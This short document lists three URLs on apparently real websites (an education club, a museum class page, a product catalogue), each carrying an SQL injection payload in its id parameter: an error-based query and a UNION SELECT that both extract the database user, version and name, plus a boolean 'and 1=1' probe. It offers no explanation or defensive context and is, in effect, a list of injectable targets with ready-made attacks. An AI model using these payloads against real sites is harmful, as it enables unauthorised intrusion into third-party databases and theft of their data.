http://club-edu.tambov.ru/main/methodic/index.php?id=40' and(select 1 from(select count(*),concat((select (concat_ws(0x3a,user(),version(),database())) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and '1'='1

http://www.desertmuseum.org/center/edu/pp_showclass.php?id=1580 and 1=1

http://www.manli.com/products/details.php?id=113.9 union all select 1,2,concat_ws(0x3a,user(),version(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+--+